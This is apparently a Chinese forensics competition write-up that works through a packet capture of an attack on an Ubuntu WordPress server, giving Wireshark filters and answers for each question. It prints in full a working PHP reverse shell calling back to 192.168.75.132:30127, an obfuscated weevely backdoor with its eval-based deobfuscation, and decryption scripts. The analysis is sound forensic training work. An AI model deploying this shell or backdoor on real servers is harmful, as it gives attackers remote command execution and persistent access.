数证杯2024-网络流量分析
数证杯2024-网络流量分析
1. [填空题]分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)
思路:
统计 --> 捕获文件属性
答案:3504
2. [填空题]分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)
思路:
跟第一问一样
答案:23F79
3. [填空题]分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)
思路:
统计 --> 会话 --> ipv4,发现 192.168.75.131 可疑,分析一下这个 ip 的流量包,也能发现
答案:192.168.75.131
4. [填空题]分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)
思路:
过滤 http 流,翻一下流量包就能发现
答案:ubuntu
5. [填空题]分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)
思路:
跟上面一样过滤 http 流量,翻一下前面的流量,就能发现 nmap
答案:nmap
6. [填空题]分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)
思路:
过滤 http 流量分析后面的流量包能发现使用了 Wfuzz,Wfuzz能够通过发现并利用网站弱点/漏洞的方式,然后就能确定版本号
答案:3.1.0
7. [填空题]分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)
思路:
一般的登入方式都是 POST,那我们过滤一下就好,然后追踪一下流,就能发现登入成功
http.request.method == POST
答案:/dbadmin/test_db.php
8. [填空题]分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)
思路:
我们知道登入的 url 为 /dbadmin/test_db.php,那我们先过滤一下
http.request.uri.path == "/dbadmin/test_db.php"
然后网上翻一下流量包发现
答案:admin
9. [填空题]分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)
思路:
在第8 题过滤时候,就能翻到一个 demo.php ,直接在导出 http 对象,将后缀改成 .html 就能发现是一个 phpinfo
直接搜索也能发现 phpinfo()
答案:demo.php
10. [填空题]分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)
思路:
我们一直往下分析可以看到 wget 下载了一个 rev.txt
答案:rev.txt
11. [填空题]分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)
思路:
我们上面找到了 rev.txt,然后搜索一下找到文件,可以发现是一个 webshell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
答案:192.168.75.132:30127
12. [填空题]分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)
思路:
在get访问 rev.txt 的时候,从攻击者电脑访问的,就能在返回包发现到
答案:3.11.8
13. [填空题]分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)
思路:
我们知道 webshell 的端口是 30127,那我们过滤一下
tcp.port==30127
答案:wordpress
14. [填空题]分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)
思路:
跟 13 题一样,接着往下看就行
15. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)
思路:
还是 13 题的超做,接着往下看,可以发现上传了一个 help.php
答案:2000
16. [填空题]分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案 格式:按实际值填写)
学习:weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版_两重明文混淆webshell-CSDN博客
实战Webshell管理工具Weevely检测思路分析_weevely流量分析-CSDN博客
思路:
可以找到访问了 help.php,可以发现就是 weevely 木马,也能验证上面一步
<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>
解反混淆,可以发现请求包和返回包都在 cbbf9691e009 和 85a89e92c410 中间,然后根据加密脚本写出解密脚本就行
print("\(p\)kh\(r\)kf");
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
?>
然后找到执行的第一次执行的数据进行解密即可,解密脚本是群里一个师傅的
import base64
import zlib
def xor_decrypt(data, key):
key = key.encode('utf-8')
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ key[i % len(key)])
return bytes(result)
# 密钥
key = 'c6ae1e70'
kh = 'cbbf9691e009'
kf = '85a89e92c410'
p = 'dzINRguo2g6mkn7y'
def decrypt_data(encrypted_data):
try:
# 1. Base64解码
print("1. 原始数据:", encrypted_data)
# 添加必要的填充
padded_data = encrypted_data + '=' * (-len(encrypted_data) % 4)
data = base64.b64decode(padded_data)
print("2. Base64解码后(hex):", data.hex())
# 2. XOR解密
decrypted = xor_decrypt(data, key)
print("3. XOR解密后(hex):", decrypted.hex())
# 3. Gzip解压
try:
decompressed = zlib.decompress(decrypted)
print("4. Gzip解压后(hex):", decompressed.hex())
print("5. Gzip解压后(text):", decompressed.decode('utf-8', errors='ignore'))
except zlib.error as e:
print("4. Gzip解压失败:", str(e))
print("4. 解密后的原始数据(hex):", decrypted.hex())
try:
print("4. 解密后的原始数据(text):", decrypted.decode('utf-8', errors='ignore'))
except:
print("4. 无法解析为文本")
print("4. 字节值:", [x for x in decrypted])
return decrypted
except Exception as e:
print(f"解密失败: {str(e)}")
import traceback
traceback.print_exc()
return None
if __name__ == '__main__':
# 测试请求数据
request_raw = 'G6oqKP+t4ABWAVLT4dExMHs6Ylw'
print("\n=== 请求数据解密 ===")
decrypt_data(request_raw)
print("\n=== 响应数据解密 ===")
response_raw = 'G6pSUAZWgTBjNUtkPw=='
decrypt_data(response_raw)
答案:57638
php 脚本
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>